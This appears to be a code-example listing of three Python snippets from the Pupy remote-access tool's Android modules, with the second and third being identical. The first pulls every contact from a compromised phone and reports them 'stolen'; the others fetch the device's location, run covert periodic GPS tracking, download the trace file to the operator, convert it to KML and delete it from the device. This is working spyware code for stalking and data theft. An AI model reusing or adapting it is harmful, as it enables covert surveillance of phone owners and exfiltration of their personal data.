Exemple #1
0
 def run(self, args):
     self.client.load_package("pupydroid.contacts")
     self.client.load_package("pupydroid.utils")
     path = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=self.client.conn.modules['pupydroid.utils'].getAndroidID(), userName=self.client.desc['user'])
     if args.get_all==True:
         self.success("Getting contacts...")
         contacts = self.client.conn.modules['pupydroid.contacts'].getAllContacts()
         self.success("Contacts stolen successfully")
         self.__saveContacts__(contacts=contacts, completePath=os.path.join(path, 'contacts.txt'))
Exemple #2
0
 def run(self, args):
     self.client.load_package("pupydroid.gpsTracker")
     self.client.load_package("pupydroid.utils")
     androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID()
     self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user'])
     gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory)
     if args.is_GPS_enabled == True:
         self.success("Is GPS enabled?")
         print gpsTracker.isGPSenabled()
     if args.is_network_rovider_enabled == True:
         self.success("Is Network Provider enabled?")
         print gpsTracker.isNetworkProviderEnabled()
     if args.get_position == True:
         if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False:
             self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!")
             return
         else:
             self.success("GPS or Network Provider is enabled on the device. You should be able to get location!")
         lat, lon = None, None
         gpsTracker.enable()
         for nbRetry in range(3):
             self.success("Getting current location...")
             lat, lon = gpsTracker.getCurrentLocation()
             if lat==None and lon==None:
                 self.error("Impossible to get location, retrying...")
                 sleep(5)
             else:
                 self.success("Current location:")
                 print "latitude: {0} , longitude: {1}".format(lat, lon)
                 break
         gpsTracker.disable()
     if args.start:
         r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period)
         if r == True:
             self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period))
         else:
             self.error("Tracking not enabled because already activated")
     elif args.stop:
          self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period))
          r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker()
          if r == True:
             self.success("Tracking stopped")
          else:
             self.error("Tracking not stopped because not activated")
     elif args.dump:
         filename = os.path.join(self.localFolder,"gpsTraces.csv")
         if args.in_memory==False:
             traces = []
             download(self.client.conn, "keflfjezomef.csv",filename)
             self.success("GPS positions downloaded in {0}".format(filename))
             f = csv.DictReader(open(filename))
             for row in f:
                 traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')])
         else:
             traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker()
         self.success("{0} GPS positions".format(len(traces)))
         if len(traces)>0:
             if args.in_memory==True:
                 f=open(filename,'w')
                 f.write("Date, Lat, Lon\n")
                 for aPos in traces:
                     f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2]))
                 f.close()
                 self.success("GPS positions (.csv) saved in {0}".format(filename))
             kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml")
             generateKML(androidID, traces, outputFile=kmlFilename)
             self.success("KML file created in {0}".format(kmlFilename))
         else:
             self.error("No GPS positions get. You should start GPS tracking or wait a moment")
     elif args.status:
         if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True:
             self.success("GPS tracking is enabled")
         else:
             self.success("GPS tracking is NOT enabled")
     elif args.clean:
         status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile()
         if status == True:
             self.success("Trace file deleted from device")
         else:
             self.error("Impossible to delete trace file on device")
             self.error("Gps Tracking has never been enabled or it is running")
Exemple #3
0
 def run(self, args):
     self.client.load_package("pupydroid.gpsTracker")
     self.client.load_package("pupydroid.utils")
     androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID()
     self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user'])
     gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory)
     if args.is_GPS_enabled == True:
         self.success("Is GPS enabled?")
         print gpsTracker.isGPSenabled()
     if args.is_network_rovider_enabled == True:
         self.success("Is Network Provider enabled?")
         print gpsTracker.isNetworkProviderEnabled()
     if args.get_position == True:
         if gpsTracker.isNetworkProviderEnabled() == False and gpsTracker.isGPSenabled()==False:
             self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!")
             return
         else:
             self.success("GPS or Network Provider is enabled on the device. You should be able to get location!")
         lat, lon = None, None
         gpsTracker.enable()
         for nbRetry in range(3):
             self.success("Getting current location...")
             lat, lon = gpsTracker.getCurrentLocation()
             if lat==None and lon==None:
                 self.error("Impossible to get location, retrying...")
                 sleep(5)
             else:
                 self.success("Current location:")
                 print "latitude: {0} , longitude: {1}".format(lat, lon)
                 break
         gpsTracker.disable()
     if args.start:
         r = self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period)
         if r == True:
             self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period))
         else:
             self.error("Tracking not enabled because already activated")
     elif args.stop:
          self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period))
          r = self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker()
          if r == True:
             self.success("Tracking stopped")
          else:
             self.error("Tracking not stopped because not activated")
     elif args.dump:
         filename = os.path.join(self.localFolder,"gpsTraces.csv")
         if args.in_memory==False:
             traces = []
             download(self.client.conn, "keflfjezomef.csv",filename)
             self.success("GPS positions downloaded in {0}".format(filename))
             f = csv.DictReader(open(filename))
             for row in f:
                 traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')])
         else:
             traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker()
         self.success("{0} GPS positions".format(len(traces)))
         if len(traces)>0:
             if args.in_memory==True:
                 f=open(filename,'w')
                 f.write("Date, Lat, Lon\n")
                 for aPos in traces:
                     f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2]))
                 f.close()
                 self.success("GPS positions (.csv) saved in {0}".format(filename))
             kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml")
             generateKML(androidID, traces, outputFile=kmlFilename)
             self.success("KML file created in {0}".format(kmlFilename))
         else:
             self.error("No GPS positions get. You should start GPS tracking or wait a moment")
     elif args.status:
         if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker() == True:
             self.success("GPS tracking is enabled")
         else:
             self.success("GPS tracking is NOT enabled")
     elif args.clean:
         status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile()
         if status == True:
             self.success("Trace file deleted from device")
         else:
             self.error("Impossible to delete trace file on device")
             self.error("Gps Tracking has never been enabled or it is running")